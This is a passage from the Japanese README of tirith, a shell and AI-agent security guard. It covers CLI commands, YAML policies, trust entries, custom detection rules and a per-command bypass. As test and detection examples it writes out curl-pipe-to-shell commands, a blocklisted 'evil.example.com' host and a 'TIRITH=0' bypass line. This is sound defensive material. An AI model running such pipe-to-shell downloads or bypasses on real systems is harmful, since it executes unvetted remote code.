tirith status / doctor | 保護されていますか? インストール、フック、ポリシーを診断する(--fix、--quick) |
tirith setup <tool> / init | ワンコマンドでの AI ツールセットアップ、またはシェルフックを出力する |
tirith policy {init,validate,test} | ポリシーのスキャフォールド、検証、ドライラン |
tirith trust {add,list,remove} | 信頼済みパターンを管理する(狭いスコープ、デフォルトで 30 日の TTL) |
tirith threat-db update | 署名済み脅威データベースをダウンロードして検証する |
tirith package risk <eco> <name> | パッケージのサプライチェーンリスクをスコアリングする |
tirith ecosystem scan [path] | プロジェクト内の宣言されたすべての依存関係をスコアリングする |
tirith package inspect --artifact <wheel> | 正確な Python アーティファクトのバイト列、スタートアップフック、ネイティブコード、RECORD の整合性、クロスホイール実行チェーンを検査する |
tirith pkg {approve,install,verify-env} | サポートされている x86_64 Linux ホスト上で Python パッケージを承認、ハッシュピン、封じ込め、インストール、検証する |
tirith mcp {lock,verify} | リポジトリの MCP サーバーをピンしてゲートする |
tirith gateway run | アップストリームの MCP サーバーをプロキシし、設定されたリクエスト/出力の境界を強制する |
tirith daemon start | より高速なチェックのためのバックグラウンドデーモン(Unix) |
明示的なオプトインサーフェス。これらはいずれも暗黙的に実行されることはなく、デーモンやバックグラウンドモニターも持ちません:
| コマンド | 機能 |
|---|---|
tirith task check | プレビュー。信頼できないタスクエンベロープ(イシュー本文、PDF、Web ページ)を評価し、許可される効果を報告する。何も実行せず、何も停止しない |
tirith capsule run --preset untrusted-project | 信頼できないプロジェクトを保持された一時ディレクトリにコピーし、フェイルクローズドなカプセル内で正確な argv を実行する。x86_64 Linux でのみ強制可能。それ以外のすべてのホストでは、何かがコピーまたは起動される前に拒否する |
tirith browser audit | インストールされた Chromium 系拡張機能のソースツリーの読み取り専用整合性監査。署名済みベースラインに対するドリフトを検出する |
tirith pkg attest-npm | プロジェクト自身の npm に、インストールされたパッケージのレジストリ署名を検証させる。正確なロックファイルとインストールツリーにバインドされる |
tirith attest {build,verify-build,deployment,verify-deployment} | 2 つのツリーとデプロイされたルートに対するポイントインタイムのレシート。再現可能ビルドの主張ではなく、継続的な監視でもない |
これが日常的に使うセットです。tirith は全部で 78 のトップレベルコマンドを 8 つのグループで提供しています: スキャンと分析、ステータスとヘルス、セットアップ、ポリシーと信頼、シェルとシステムのガード(hygiene、persistence、exec、path、context、ssh、sudo、iac)、サプライチェーン、AI エージェント統合、フォレンジックとレスポンス。カテゴリ別のリストは tirith --help を実行するか、完全なコマンドリファレンス を参照してください。グローバルの --quiet フラグ(または TIRITH_QUIET=1)は、エラー、判定、セキュリティ通知を隠すことなく、アドバイザリ出力を抑制します。
設計原則
- オフラインは厳格な境界:
paste、score、diff、whyはネットワーク 呼び出しを一切行いません。tirith checkは設定された OSV/deps.dev/ecosyste.ms、 CISA KEV、Safe Browsing ソースに問い合わせることができ、以下の定期的な脅威 DB リフレッシュをトリガーできます。tirith check --offline(またはTIRITH_OFFLINE=1)は これらの HTTP および DNS パスをすべて抑制し、既存のランタイムキャッシュのみを読み取り、 キャッシュミスをクリーンな結果ではなく不完全な検証として報告します。 - 定期的なバックグラウンド脅威 DB リフレッシュ:
tirith checkとシェルフックは、 署名済みデータベースを最新に保つため、デフォルトで最大 24 時間に 1 回、安価で デタッチされたバックグラウンドチェックをトリガーします(threat_intel.auto_update_hours)。 コマンドをブロックすることは決してありません。無効にするにはauto_update_hours: 0を設定するか、 呼び出しごとに抑制するには--offline/TIRITH_OFFLINE=1を設定します。tirith pasteはこれをトリガーしません。ローカルエンジンを直接通過します。 - コマンドの書き換えなし: tirith は入力した内容を決して変更しません。
--suggestとexplain --fixは実行するための別のコマンドを出力するだけで、決して置き換えません。 - テレメトリなし: 分析もクラッシュレポートも phone-home 動作もありません。
- デフォルトで長期間存続するバックグラウンドプロセスなし: tirith は
コマンドごとに呼び出され、即座に終了します。上記の脅威 DB リフレッシュは
短命なデタッチ更新であり、常駐プロセスではありません。オプションの
tirith daemon startが唯一の常駐プロセスであり、オプトインです。 - 文書化されたサーフェスでのみネットワークを使用:
run、fetch、audit report --uploadは明示的な呼び出しでのみネットワークに到達します。checkは設定されたランタイム脅威ソースを使用し、脅威 DB リフレッシュは上記のスケジュールに従います。 デーモンモードはネットワーク対応の URL 解決を追加し、オプションの webhook / ポリシーサーバー統合は 設定されるとアウトバウンドリクエストを行うことができます。--offline/TIRITH_OFFLINE=1は デーモンモードとインラインモードの両方で、すべてのcheckホットパスネットワークプロデューサーを無効にします。 - フェッチ時のエグレスガード。
tirith run、fetch --save、command-card fetchはデフォルトでプライベート、ループバック、クラウドメタデータホストを拒否し、 SSRF ガードは接続時およびすべてのリダイレクトホップで DNS を再チェックします。特定の 内部サービスに到達するには、TIRITH_PRIVATE_FETCH_ALLOWを正確なホスト名、プライベート IP、 または境界付きプライベート CIDR のカンマ区切りリストに設定します(例えば、registry.internal,10.42.0.0/24)。レガシーの広範なTIRITH_ALLOW_PRIVATE_FETCH=1スイッチは尊重されません。リンクローカル、特殊用途、 およびクラウドコントロールプレーン/認証情報エンドポイントは、ホストが承認されていても ブロックされたままです。ホスト名 エントリが何を許可するかに注意してください: その名前は、 プライベート用途およびループバック空間内で解決されるものすべてに対して承認されます。127.0.0.1も含まれます。これは解決が信頼決定の一部ではないためです。固定アドレス範囲を 意味する場合は CIDR エントリを優先し、名前自体を信頼する場合にのみホスト名を使用してください。
設定
クイックスタート```bash
tirith policy init # creates .tirith/policy.yaml in your repo tirith policy validate # check for syntax/schema errors tirith policy test "curl https://example.com | bash" # dry-run against policy
`tirith policy init` は、厳選されたスターターポリシー用に `--template <name>` を受け付けます:```bash
tirith policy init --template individual # solo developer defaults (alias: personal)
tirith policy init --template ci-strict # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer # reviewing contributor-controllable risk
tirith policy init --template startup # small-team balance
tirith policy init --template enterprise # strict, with an active package_policy block
tirith policy init --template mcp-strict # locked-down MCP server and tool trust
各テンプレートは、十分にコメントが付けられたスキーマ準拠のポリシーであり、さらに編集できます。
--template を指定しない場合、tirith policy init は完全なデフォルトポリシーを書き込みます。
ポリシーファイル
Tirith は YAML ポリシーファイルを使用します。検出順序:
- カレントディレクトリの
.tirith/policy.yaml(リポジトリルートまで遡って探索) - `~/.config/tirith/policy.yaml````yaml fail_mode: open # or "closed" for strict environments paranoia: 1 # 1-4: higher = more sensitive strict_warn: false # require explicit acknowledgement for warnings
allowlist:
- "get.docker.com"
- "sh.rustup.rs"
blocklist:
- "evil.example.com"
severity_overrides: docker_untrusted_registry: CRITICAL
scan: ignore_patterns: - "node_modules" - "target" profiles: ci: include: [".md", ".json", ".yaml", ".claude/"] fail_on: high
`allowlist_rules` は、あるソースを特定のルールに対して信頼しているが、グローバルに許可リスト登録したくない場合に、ルールスコープの抑制に使用します:```yaml
allowlist_rules:
- rule_id: curl_pipe_shell
patterns:
- "get.docker.com"
allowlist と allowlist_rules のパターンは、入力から抽出され、検出結果の証拠に現れる URL のみ にマッチします。生のコマンドテキストには決してマッチせず、URL の証拠がない検出結果は allowlist によって抑制されることがないため、launchctl list のようなコマンド形式のパターンは無効です。パターンは tirith trust と同じ文法を使用します。://、/、?、または # を含むパターンは、正規化された URL に対する完全一致です(アンカーされ、クエリとフラグメントが有意)。get.docker.com のようなドット付きのホスト名のみの場合は、そのドメインとそのサブドメインにマッチします。*.example.com は明示的なワイルドカードです。ドットを含まない裸のトークンは、URL テキストに対する部分文字列マッチですが、そのトークンが com や dev のようなパブリックサフィックスである場合は、URL のホストに対するドメインマッチとして扱われ、その下のすべてのホストにマッチします。ポリシーが何に解決されるかは tirith policy effective で確認し、特定のコマンドは tirith policy test '<command>' でチェックしてください。
CLI からの信頼の管理
tirith trust は、ポリシー YAML を手で編集することなく、信頼されたパターンを管理します。信頼は デフォルトで狭く、期限付き です。機能する最も具体的なものを信頼し、オプトアウトしない限りエントリは 30 日後に期限切れになります。```bash
Narrowest scope, a specific URL or path is accepted as-is, 30-day TTL.
A schemeless host/path is normalized as HTTPS for exact matching.
tirith trust add raw.githubusercontent.com/org/repo/main/get.sh
A whole domain / wildcard / bare TLD is broad, it must be opted into.
tirith trust add get.docker.com --broad --rule curl_pipe_shell
Opt out of the default TTL, and record why the entry exists.
tirith trust add example.com --broad --permanent --reason "internal mirror, OPS-42"
tirith trust list # scope class per entry; '!' marks broad ones tirith trust explain example.com # what it covers, when it expires, why added tirith trust diff # what changed in the trust set tirith trust gc --expired # drop expired entries
各エントリの**スコープ**は `exact`、`substring`、`domain`、`wildcard`、または `bare-TLD` として分類されます。非 exact スコープ(`substring` / `domain` / `wildcard` / `bare-TLD`)はすべて `--broad` を必要とするため、包括的な許可は常に意図的な選択となります。Exact URL は正規化された URL の等価性(スキーム、ホスト、実効ポート、パス、クエリ、フラグメントを含む)を使用し、部分文字列マッチングは決して行いません。すべてのサブコマンドは `--format json` をサポートしています。古いバージョンの tirith によって書き込まれたトラストストアはそのまま動作し続け、TTL のないエントリは永続として扱われます。
### エスカレーションとアクションのオーバーライド
警告はセッションごとに追跡されます。同じルールが繰り返し発火する場合、エスカレーションルールによってブロックに昇格させることができます:```yaml
action_overrides:
shortened_url: block # always block, regardless of default severity
escalation:
- trigger: repeat_count
rule_ids: ["*"] # any rule
threshold: 5
window_minutes: 60
action: block
- trigger: multi_medium
min_findings: 3 # 3+ medium findings on one command → block
action: block
蓄積された警告はいつでも確認できます:```bash tirith warnings # table of session warnings tirith warnings --format json # structured output tirith warnings --clear # clear after viewing
シェル終了時に、セッション中に警告が記録されていれば1行のサマリーが出力されます。
その他の例は [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md) を参照してください。
### カスタム検出ルール
`.tirith/policy.yaml` の `custom_rules:` 以下に独自のルールを作成できます。各ルールは `pattern:`(正規表現)または `when:` セマンティック述語ツリーのいずれかで、加えて `context:`(`exec`、`paste`、または `file`)、`severity:`、`title:` を指定します。```yaml
custom_rules:
- id: no_internal_pastebin
context: exec
severity: high
title: "Internal pastebin is not allowed for piped execution"
when:
all:
- command.has_pipeline_to: [bash, sh]
- url.host_matches: "paste\\.corp\\.example$"
when: DSLは、command.has_pipeline_to、command.uses_sudo、url.host、url.host_matches、url.reputation、url.domain_not_in、package.ecosystem、package.name_matches、package.reputation、file.path_matches などの述語に対して all: / any: / not: を組み合わせます。レピュテーション述語はローカルの署名済み脅威データベースを参照するため、カスタムルールでもホットパス上でネットワーク呼び出しは発生しません。コミットする前に検証とドライランを実行してください:```bash
tirith rule validate # check every custom rule: shape + context coverage
tirith rule test --rule no_internal_pastebin --input "echo hi | bash"
tirith rule explain --rule no_internal_pastebin
### その他のポリシー制御
その他のポリシーキーはすべて安全なデフォルト値を持ちます(`tirith policy init` は完全にコメント付きのセットを書き出します):
- `package_policy:` のしきい値は、サプライチェーンシグナルをブロックまたは警告の判定に変換します(`block_typosquat_distance`、`warn_low_downloads_below`、`block_newer_than_days`、`block_not_found`)。
- `agent_rules:` の `allow:` / `deny:` はコマンドの呼び出し元オリジン(`{ kind, name }`)にマッチします。`deny` にマッチすると強制的にブロックされます。`scan.trusted_mcp_servers` と `scan.mcp_allowed_tools` は特定の MCP サーバーとサーバーごとのツールを受け付けます。
- オプトインのガード(デフォルトはオフ):`env_guard_enabled`、`exec_guard_enabled`、`hooks_guard_enabled`、`baseline_enabled`、さらに `iac_require_plan_before_apply`、`sudo_require_reason`、`allowed_install_domains`。
リポジトリスコープの `.tirith/policy.yaml` ファイルは厳格化のみ可能で、緩和はできません。許可リストを広げたり、重大度を下げたり、ガードを無効化しようとするリポジトリポリシーは無効化され、`tirith policy effective` はどのフィールドが破棄されたかを表示します。デフォルトを緩和できるのは、ユーザーレベルおよび組織レベル(`TIRITH_POLICY_ROOT`)のポリシーのみです。
### 厳格警告モード
`strict_warn: true`(または CLI の `--strict-warn`)を指定すると、中リスクの検出結果は、インタラクティブなターミナルで暗黙に警告する代わりに、明示的な確認を求めます:```
$ curl -sSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]
Shell フックは warn-ack プロトコルに終了コード 3 を使用します。終了コード 3 を知らない古いフックは、フェイルオープン動作にフォールスルーします。
[!NOTE] 終了コード 3 は warn-ack フックプロトコルの経路であり、通常の直接 CLI 契約ではありません。非フックの呼び出し元は通常、終了コード 3 を目にすることはありません。もし目にした場合、確認応答が必要であることを示しています。
バイパス
自分が何をしているか正確に把握している稀なケース向け:```bash TIRITH=0 curl -L https://something.xyz | bash
これは標準的なシェルのコマンド単位プレフィックスであり、変数はその単一コマンドに対してのみ存在し、セッションには永続しません。組織はポリシーで `allow_bypass_env: false` を指定することで完全に無効化できます。
> [!CAUTION]
> `TIRITH=0` はコマンド単位です。シェルプロファイル、dotfiles、CI 設定で export しないでください。恒久的なバイパスは保護モデル全体を無効化します。頻繁にこれを使いたくなる場合は、代わりに信頼できるソースをポリシーファイルの `allowlist` に追加してください。
---
## データ処理
`~/.local/share/tirith/log.jsonl` にあるローカル JSONL 監査ログ:
- タイムスタンプ、セッション ID、アクション、ルール ID、秘匿化されたコマンドプレビュー
- 生の検出データ (`raw_action`、`raw_rule_ids`) は、カバレッジ監査のために適用されたアクションと並べて保存されます
- セッション警告状態は `~/.local/state/tirith/sessions/` に保存
- 完全なコマンド、環境変数、ファイル内容は**含まれません**
無効化: `export TIRITH_LOG=0`
---
## ドキュメント
- [コマンドリファレンス](https://github.com/sheeki03/tirith/blob/main/docs/commands.md): すべてのサブコマンドをカテゴリ別に整理
- [機能マトリクス](https://github.com/sheeki03/tirith/blob/main/docs/capability-matrix.md): コマンドごとのカバレッジ (tirith が何を検査し、ポリシーがそれを完全に統制しているかどうか)
- [適用カバレッジ](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md): 検出、プリフライト判定、実行適用、封じ込め、証明を分離した機能ごとの台帳
- [脅威モデル](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md): tirith が何から防御し、何から防御しないか
- [クックブック](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md): 一般的なセットアップ向けのポリシー例
- [トラブルシューティング](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md): シェルの癖、レイテンシ、誤検知
- [互換性](https://github.com/sheeki03/tirith/blob/main/docs/compatibility.md): 安定版と実験的サーフェスの違い
- [0.4.2 リリースノート](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.2.md): 現在のパッチリリースで変更される内容、および 0.4 系のハイライト、制限、公開契約については [0.4.0 リリースノート](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md)
- [リリースチェックリスト](https://github.com/sheeki03/tirith/blob/main/docs/release-checklist.md): 保護された公開手順とレジストリ検証
- [セキュリティポリシー](https://github.com/sheeki03/tirith/blob/main/SECURITY.md): 脆弱性の報告
- [アンインストール](https://github.com/sheeki03/tirith/blob/main/docs/uninstall.md): シェルおよびパッケージマネージャーごとのクリーンな削除
機能ガイド:
- [Web3 コマンドガード](https://github.com/sheeki03/tirith/blob/main/docs/security/web3-command-guard.md) (`web3_guard` ポリシー、3 つの Web3 ルール、command-card v2 バインディング)
- [タスクエンベロープ](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md) (信頼できないタスクの来歴、`task_gate` ポリシー、プレビュー MCP ツール)
- [信頼できないプロジェクト](https://github.com/sheeki03/tirith/blob/main/docs/untrusted-projects.md) (「誰かがリポジトリを送ってきた」ワークフロー)
- [CI アーティファクトフロー](https://github.com/sheeki03/tirith/blob/main/docs/ci-artifact-flow.md) (ワークフロー間のビルドアーティファクトポイズニング)
- [ブラウザ拡張機能監査](https://github.com/sheeki03/tirith/blob/main/docs/browser-extension-audit.md) (読み取り専用の Chromium 系整合性監査)
- [npm プロベナンスレシート](https://github.com/sheeki03/tirith/blob/main/docs/npm-provenance-receipt.md) (`pkg attest-npm`、およびそれが正確に何をバインドしないか)
- [証明レシート](https://github.com/sheeki03/tirith/blob/main/docs/attestation-receipts.md) (特定時点のビルドおよびデプロイレシート)
- [ロールアウトとロールバック](https://github.com/sheeki03/tirith/blob/main/docs/web3-task-rollout.md) (段階的な有効化、トリガー、バックアウトプレイブック)
- [エージェントガバナンス](https://github.com/sheeki03/tirith/blob/main/docs/agent-governance-design.md) (呼び出し元オリジンの帰属と `agent_rules`)
- [MCP 出力フィルター](https://github.com/sheeki03/tirith/blob/main/docs/mcp-output-filter.md) (ゲートウェイと MCP 出力サニタイズ契約)
- [Doctor モード](https://github.com/sheeki03/tirith/blob/main/docs/doctor-modes.md) (フル vs `--quick`、および JSON スナップショットスキーマ)
- [LSP とエディタプロファイル](https://github.com/sheeki03/tirith/blob/main/docs/lsp-profiles.md) (エディタ内インライン診断)
- [ブラウザネイティブメッセージング](https://github.com/sheeki03/tirith/blob/main/docs/browser-native-messaging.md) (クリップボード来歴ホストと拡張機能)
- [ペースト来歴](https://github.com/sheeki03/tirith/blob/main/docs/paste-provenance.md) (`paste_source_mismatch` ルール)
- [カナリアフォーマット](https://github.com/sheeki03/tirith/blob/main/docs/canary-formats.md) (合成ハニートークンフォーマット)
- [プロンプト統合](https://github.com/sheeki03/tirith/blob/main/docs/prompt-integration.md) (`tirith prompt-status` をシェルプロンプトに組み込む)
## ライセンス
**コアセキュリティカバレッジはオープンソースツリーで提供されます。** 244 個の検出ルールすべてと MCP サーバーがソースから利用可能です。リポジトリには依然としてレガシーなライセンスおよびポリシーサーバーのコードパスが含まれているため、すべてのランタイムパスがすでにティアフリーであると仮定しないでください。
tirith はデュアルライセンスです:
- **AGPL-3.0-only**: [LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/main/LICENSE-AGPL)、コピーレフト条項の下で無料
- **コマーシャル**: [LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/main/LICENSE-COMMERCIAL)、AGPL のコピーレフト義務がユースケースに合わない場合は、代替ライセンスについて [email protected] までお問い合わせください
サードパーティデータの帰属は [NOTICE](https://github.com/sheeki03/tirith/blob/main/NOTICE) に記載されています。
## Star History
[](https://star-history.dera.page/#sheeki03/tirith&Date)